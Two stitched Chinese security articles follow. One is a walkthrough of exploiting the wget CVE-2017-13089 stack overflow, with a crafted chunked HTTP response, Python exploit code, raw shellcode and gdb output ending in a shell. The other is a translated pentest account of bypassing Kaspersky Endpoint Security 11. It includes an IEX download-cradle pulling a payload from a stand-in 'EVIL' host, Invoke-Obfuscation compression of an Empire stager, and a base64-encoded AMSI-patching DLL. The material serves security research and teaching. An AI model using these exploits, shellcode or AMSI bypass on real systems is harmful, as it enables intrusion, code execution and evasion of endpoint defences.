RWX: Has RWX segments
好了，接下来可以搞事情了。为了方便确认栈溢出的地址，把前面 payload 的 body 部分用 pattern 替代掉：
$ cat payload
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFFD00
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs
0
$ nc -lp 6666 < payload
在另一个 shell 里启动 gdb 调试 wget：
gdb-peda$ r localhost:6666
gdb-peda$ pattern_offset $ebp
1933668723 found at offset: 560
gdb-peda$ searchmem AAA%AAsA
Searching for 'AAA%AAsA' in: None ranges
Found 2 results, display max 2 items:
[heap] : 0x6aad83 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
[stack] : 0x7fffffffcf40 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAe
所以 rsp 的地址位于栈偏移 568 的地方。而栈地址位于 0x7fffffffcf40。
构造 exp 来生成 paylaod：
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFFD00
"""
shellcode = "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
shellcode += "\xef\xff\xff\xff\x48\xbb\xc5\xb5\xcb\x60\x1e\xba\xb2"
shellcode += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
shellcode += "\xaf\x8e\x93\xf9\x56\x01\x9d\x79\xac\xdb\xe4\x13\x76"
shellcode += "\xba\xe1\x53\x4c\x52\xa3\x4d\x7d\xba\xb2\x53\x4c\x53"
shellcode += "\x99\x88\x16\xba\xb2\x1b\xea\xd7\xa2\x0e\x31\xc9\xda"
shellcode += "\x1b\x93\xe2\x83\xe9\xf8\xb5\xb7\x1b"
payload += shellcode + (568-len(shellcode)) * "A"
payload += "\x40\xcf\xff\xff\xff\x7f\x00\x00"
payload += "\n0\n"
with open('ppp','wb') as f:
f.write(payload)
$ python exp.py
$ nc -lp 6666 < ppp
继续使用 gdb 来跟踪。经过 strtol() 函数返回的 `remaining_chunk_size` 为 0xffffffff00000300：
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0xffffffff00000300
RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
RCX: 0xffffffda
RDX: 0x1
RSI: 0xfffffd00
RDI: 0x6aafab --> 0xfae98148c931000a
RBP: 0x7fffffffd170 --> 0x7fffffffd580 --> 0x7fffffffd8a0 --> 0x7fffffffd9c0 --> 0x7fffffffdbd0 --> 0x452350 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffcf20 --> 0xffffffffffffffff
RIP: 0x41ef0f (<skip_short_body+150>: mov QWORD PTR [rbp-0x8],rax)
R8 : 0x0
R9 : 0xfffffffffffffff
R10: 0x0
R11: 0x7ffff74045e0 --> 0x2000200020002
R12: 0x404ca0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdcb0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x41ef04 <skip_short_body+139>: mov rsi,rcx
0x41ef07 <skip_short_body+142>: mov rdi,rax
0x41ef0a <skip_short_body+145>: call 0x404660 <strtol@plt>
=> 0x41ef0f <skip_short_body+150>: mov QWORD PTR [rbp-0x8],rax
0x41ef13 <skip_short_body+154>: mov rax,QWORD PTR [rbp-0x10]
0x41ef17 <skip_short_body+158>: mov rdi,rax
0x41ef1a <skip_short_body+161>: call 0x404380 <free@plt>
0x41ef1f <skip_short_body+166>: mov QWORD PTR [rbp-0x10],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcf20 --> 0xffffffffffffffff
0008| 0x7fffffffcf28 --> 0x4ffffcf01
0016| 0x7fffffffcf30 --> 0x13
0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98148c931000a
0032| 0x7fffffffcf40 --> 0xffffffff00000028
0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887
0048| 0x7fffffffcf50 --> 0x7fffffffcfc0 ("401 Not Authorized\n")
0056| 0x7fffffffcf58 --> 0x13
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000000000041ef0f in skip_short_body ()
继续调试，到达函数 `fd_read()`，可以看到由于强制类型转换的原因其参数只取出了 0xffffffff00000300 的低 4 个字节
0x300，所以该函数将读入 0x300 个字节的数据到栈地址 0x7fffffffcf40 中：
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0x4
RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
RCX: 0x7fffffffcf40 --> 0xffffffff00000028
RDX: 0x300
RSI: 0x7fffffffcf40 --> 0xffffffff00000028
RDI: 0x4
RBP: 0x7fffffffd170 --> 0x7fffffffd580 --> 0x7fffffffd8a0 --> 0x7fffffffd9c0 --> 0x7fffffffdbd0 --> 0x452350 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffcf20 --> 0xffffffff00000300
RIP: 0x41efd6 (<skip_short_body+349>: call 0x4062c5 <fd_read>)
R8 : 0x0
R9 : 0x1
R10: 0x0
R11: 0x7ffff74045e0 --> 0x2000200020002
R12: 0x404ca0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdcb0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x41efc9 <skip_short_body+336>: movsd xmm0,QWORD PTR [rip+0x4aa6f] # 0x469a40
0x41efd1 <skip_short_body+344>: mov rsi,rcx
0x41efd4 <skip_short_body+347>: mov edi,eax
=> 0x41efd6 <skip_short_body+349>: call 0x4062c5 <fd_read>
0x41efdb <skip_short_body+354>: mov DWORD PTR [rbp-0x14],eax
0x41efde <skip_short_body+357>: cmp DWORD PTR [rbp-0x14],0x0
0x41efe2 <skip_short_body+361>: jg 0x41f029 <skip_short_body+432>
0x41efe4 <skip_short_body+363>: movzx eax,BYTE PTR [rip+0x269bf0] # 0x688bdb <opt+571>
Guessed arguments:
arg[0]: 0x4
arg[1]: 0x7fffffffcf40 --> 0xffffffff00000028
arg[2]: 0x300
arg[3]: 0x7fffffffcf40 --> 0xffffffff00000028
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcf20 --> 0xffffffff00000300
0008| 0x7fffffffcf28 --> 0x4ffffcf01
0016| 0x7fffffffcf30 --> 0x13
0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98100007ffff7
0032| 0x7fffffffcf40 --> 0xffffffff00000028
0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887
0048| 0x7fffffffcf50 --> 0x7fffffffcfc0 ("401 Not Authorized\n")
0056| 0x7fffffffcf58 --> 0x13
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000000000041efd6 in skip_short_body ()
成功跳转到 shellcode，获得 shell：
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
RCX: 0x7ffff7384260 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffcf40 --> 0xfffae98148c93148
RDI: 0x4
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148
RIP: 0x41f0ed (<skip_short_body+628>: ret)
R8 : 0x7fffffffcdb0 --> 0x383
R9 : 0x1
R10: 0x0
R11: 0x246
R12: 0x404ca0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdcb0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x41f0e2 <skip_short_body+617>: call 0x42a0f5 <debug_logprintf>
0x41f0e7 <skip_short_body+622>: mov eax,0x1
0x41f0ec <skip_short_body+627>: leave
=> 0x41f0ed <skip_short_body+628>: ret
0x41f0ee <modify_param_name>: push rbp
0x41f0ef <modify_param_name+1>: mov rbp,rsp
0x41f0f2 <modify_param_name+4>: sub rsp,0x30
0x41f0f6 <modify_param_name+8>: mov QWORD PTR [rbp-0x28],rdi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148
0008| 0x7fffffffd180 --> 0xa300a ('\n0\n')
0016| 0x7fffffffd188 --> 0x0
0024| 0x7fffffffd190 --> 0x7fffffffdad4 --> 0x0
0032| 0x7fffffffd198 --> 0x7fffffffd780 --> 0x0
0040| 0x7fffffffd1a0 --> 0x6a9a00 --> 0x68acb0 ("http://localhost:6666/")
0048| 0x7fffffffd1a8 --> 0x6a9a00 --> 0x68acb0 ("http://localhost:6666/")
0056| 0x7fffffffd1b0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000000000041f0ed in skip_short_body ()
gdb-peda$ x/20gx 0x7fffffffcf40
0x7fffffffcf40: 0xfffae98148c93148 0xffffef058d48ffff <-- shellcode
0x7fffffffcf50: 0x1e60cbb5c5bb48ff 0x48275831481bb2ba
0x7fffffffcf60: 0xaff4e2fffffff82d 0xac799d0156f9938e
0x7fffffffcf70: 0x4c53e1ba7613e4db 0x4c53b2ba7d4da352
0x7fffffffcf80: 0xea1bb2ba16889953 0x931bdac9310ea2d7
0x7fffffffcf90: 0x411bb7b5f8e983e2 0x4141414141414141
0x7fffffffcfa0: 0x4141414141414141 0x4141414141414141
0x7fffffffcfb0: 0x4141414141414141 0x4141414141414141
0x7fffffffcfc0: 0x4141414141414141 0x4141414141414141
0x7fffffffcfd0: 0x4141414141414141 0x4141414141414141
Bingo!!!
Starting program: /usr/local/bin/wget localhost:6666
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
--2018-01-30 15:40:49-- http://localhost:6666/
Resolving localhost... 127.0.0.1
Connecting to localhost|127.0.0.1|:6666... connected.
HTTP request sent, awaiting response... 401 Not Authorized
process 20613 is executing new program: /bin/dash
[New process 20617]
process 20617 is executing new program: /bin/dash
$ whoami
[New process 20618]
process 20618 is executing new program: /usr/bin/whoami
firmy
$ [Inferior 3 (process 20618) exited normally]
Warning: not running or target is remote
#### 0x05参考链接
<https://nvd.nist.gov/vuln/detail/CVE-2017-13089>
<https://github.com/r1b/CVE-2017-13089>
* * * | 社区文章 |
# 如何绕过Kaspersky Endpoint Security 11
|
##### 译文声明
本文是翻译文章，文章原作者 0xc0ffee，文章来源：0xc0ffee.io
原文地址：<http://0xc0ffee.io/blog/kes11-bypass>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在最近一次实际操作中，我面对的是没有安装任何（渗透测试）工具的一台Windows平板电脑，我的任务是测试其安全性以及我能入侵的深度。我有自己的笔记本电脑，但不能直接将其接入内部网络中。然而如果我成功入侵了目标平板，就可以将自己的主机作为C2服务器。长话短说，由于我需要绕过反病毒软件，因此获得初始shell比搞定网络环境更加困难。
## 二、实验环境
1、目标平板安装了打全补丁的Windows 10系统
2、平板上安装最新版的Kaspersky Endpoint Security 11（KES11）
3、平板上安装了运行在kiosk/PoS模式的Google Chrome
4、C2上运行Powershell Empire监听程序
## 三、信息收集
因此，现在目标平板的Chrome运行在kiosk/PoS模式，并且（几乎）所有的Windows快捷键都会被拦截，如WIN+R,、ALT+TAB、
CTRL+P以及ALT+SPACE等，大家可以参考“[Kiosk/POS Breakout Keys in
Windows](//www.trustedsec.com/2015/04/kioskpos-breakout-keys-in-windows/)”这篇文章了解更多内容。
然而，浏览器并没有禁止我们使用CTRL+N快捷键打开新页面，因此现在我们可以打开新页面访问互联网，非常好。我转到URL栏，使用`file://`来下载并打开`cmd.exe`：
我并没有火急火燎使用刚弹出来的终端，而是尝试点击已下载文件的`file location`链接，想使用Windows
Explorer，通过GUI方式访问文件及共享。然而我们的操作被系统拒绝，可能是因为目标设置了某些GPO策略。
再次回到终端：
1、我枚举了目标系统的文件及共享，并没有发现有趣的信息；
2、运行`wmic product get name, version`命令来枚举已安装的软件及软件版本；
3、运行`wmic qfe`命令获取系统已安装补丁情况；
4、运行`net user my_user /domain`命令（`my_user`为域用户，模拟内网攻击）；
5、运行`whoami /priv`获取我当前的权限。
以上操作并没有得到可以直接利用的点，不能快速搞定目标。目前我掌握的是不具备管理员权限的一个域用户，并且该用户所属的组附加了许多限制性GPO设置。目标上安装了AV产品，包括Kaspersky
Endpoint Security 11.0.0.6499版以及Windows Defender。
## 四、百转千回终成功
我的目标之一就是绕过AV，将Empire后门注入目标系统，然后继续前进。由于这并不是一次红方行动，并且时间有限，因此我并没有复制目标平板的环境进行测试。我首先利用一个加密渠道，通过Powershell的`IEX
(New-Object
Net.Webclient).downloadstring("https://EVIL/hello_there")`命令下载Empire
Powershell启动程序，然而这个操作并没有被AV拦截，而是先被防火墙拦截，可能是因为防火墙会检查SSL数据。因此，我的payload不仅要能在内存中执行，至少还需要能通过防火墙的拦截。
### 压缩及内存patch
现在目标平板上安装了Windows
Defender，并且让KES11负责大多数反恶意软件扫描任务。然而，我发现KES11使用了AMSI接口来检测基于脚本的攻击，这是比较麻烦的一件事。实际上，卡巴斯基在官网上提到了AMSI技术，但只在[Kaspersky
Security for Windows Server](https://support.kaspersky.com/14810)页面中提到如下一段话：
> （该产品）支持AMSI接口。利用Microsoft
> Windows上集成的AMSI技术，我们可以提升服务器端拦截脚本启动的能力。（通过这种方法）我们改善了脚本监控任务的稳定性，检测到威胁后能进行拦截，降低应用程序对当前环境的影响，极大扩展了任务范围：现在脚本监控组件不仅能处理JS以及VBS文件中的脚本，也能处理PS1文件。当Microsoft
> Windows Server 2016或更高版本服务器上安装脚本监控组件后，我们就可以使用相应功能。
我的一位小伙伴最近分享了一篇很赞的文章（“[Bypass AMSI and Execute ANY malicious powershell
code](https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html)”）
**（安全客已有[此篇文章](https://www.anquanke.com/post/id/162924)）**，文中介绍了如何通过DLL文件在内存中patch
AMSI（Anti Malware Scan Interface，反恶意软件扫面描接口），无需提升权限就能绕过/禁用AMSI。
考虑到这一点后，我们首先需要绕过流量监控，这里我们可以使用[Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)，只需压缩处理Empire payload若干次就能绕过流量监控。
首先，我们提取由Empire生成的`launcher.bat`文件中的base64数据，解压这段数据后，将其发送至`Invoke-Obfuscation`。为了完成该任务，我们可以运行`set SCRIPTBLOCK
our_empire_base64decoded_payload`命令：
然后运行若干次`COMPRESS\1`命令来压缩我们的payload：
然后我们就可以成功下载该文件并使用`IEX`将其载入内存中。然而现在虽然我们绕过了流量监控，但AV开始拦截我们payload的执行（这一点并不意外）。
经过研究后，我发现在AMSI检查脚本之前，KES11的启发式检测机制或者基于签名的检测机制首先会处理我们的payload。最终我将payload压缩了4次，成功绕过了AV，但仍会被AMSI检测：
接下来我们需要的做的就是禁用AMSI。我在一个Web服务器上托管了如下代码，然后使用`IEX`将其下载到目标平板中：
function Bypass-AMSI
{
if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
[Reflection.Assembly]::Load([Convert]::FromBase64String("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N0RBQ0VEAEJ5cGFzc0FNU0kAbXNjb3JsaWIAc3JjAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1NpemUAc2l6ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEFsbG9jSEdsb2JhbABNYXJzaGFsAEtlcm5lbDMyLmRsbABCeXBhc3NBTVNJLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24Ab3BfQWRkaXRpb24AWmVybwAuY3RvcgBVSW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBSdW50aW1lSGVscGVycwBCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9wX0VxdWFsaXR5AAAAABFhAG0AcwBpAC4AZABsAGwAAFdFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAcgBlAHQAcgBpAGUAdgBlACAAYQBtAHMAaQAuAGQAbABsACAAcABvAGkAbgB0AGUAcgAuAAAdQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByAABzRQBSAFIATwBSADoAIABDAG8AdQBsAGQAIABuAG8AdAAgAHIAZQB0AHIAaQBlAHYAZQAgAEEAbQBzAGkAUwBjAGEAbgBCAHUAZgBmAGUAcgAgAGYAdQBuAGMAdABpAG8AbgAgAHAAbwBpAG4AdABlAHIAAHVFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAYwBoAGEAbgBnAGUAIABBAG0AcwBpAFMAYwBhAG4AQgB1AGYAZgBlAHIAIABtAGUAbQBvAHIAeQAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAhAABNQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByACAAcABhAHQAYwBoACAAaABhAHMAIABiAGUAZQBuACAAYQBwAHAAbABpAGUAZAAuAAAAAABNy6E5KHzvRJzwgzKCw/hXAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIHBwUYGBkJGAIGGAUAAgIYGAQAAQEOBAABGQsHAAIBEmERZQQAARgICAAEAR0FCBgIBQACGBgICLd6XFYZNOCJAwYREAUAAhgYDgQAARgOCAAEAhgZCRAJBgADARgYCAMAAAgIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAADwEACkJ5cGFzc0FNU0kAAAUBAAAAABcBABJDb3B5cmlnaHQgwqkgIDIwMTgAACkBACQ4Y2ExNGM0OS02NDRiLTQwY2YtYjFjNy1hNWJkYWViMGIyY2EAAAwBAAcxLjAuMC4wAABNAQAcLk5FVEZyYW1ld29yayxWZXJzaW9uPXY0LjUuMgEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUULk5FVCBGcmFtZXdvcmsgNC41LjIEAQAAAAAAAAAAAN3BR94AAAAAAgAAAGUAAAAMLAAADA4AAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSU0RTac9x8RJ6SEet9F+qmVae0gEAAABDOlxVc2Vyc1xhbmRyZVxzb3VyY2VccmVwb3NcQnlwYXNzQU1TSVxCeXBhc3NBTVNJXG9ialxSZWxlYXNlXEJ5cGFzc0FNU0kucGRiAJksAAAAAAAAAAAAALMsAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAClLAAAAAAAAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAAAAAD/JQAgABAx/5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAAsAwAAAAAAAAAAAAAsAzQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAEAAAAAAAAAAQAAAAAAPwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEjAIAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAAaAIAAAEAMAAwADAAMAAwADQAYgAwAAAAGgABAAEAQwBvAG0AbQBlAG4AdABzAAAAAAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAAAAAAAAAAAD4ACwABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABCAHkAcABhAHMAcwBBAE0AUwBJAAAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAuADAAAAA+AA8AAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEIAeQBwAGEAcwBzAEEATQBTAEkALgBkAGwAbAAAAAAASAASAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIACpACAAIAAyADAAMQA4AAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAAAABGAA8AAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQgB5AHAAYQBzAHMAQQBNAFMASQAuAGQAbABsAAAAAAA2AAsAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEIAeQBwAGEAcwBzAEEATQBTAEkAAAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA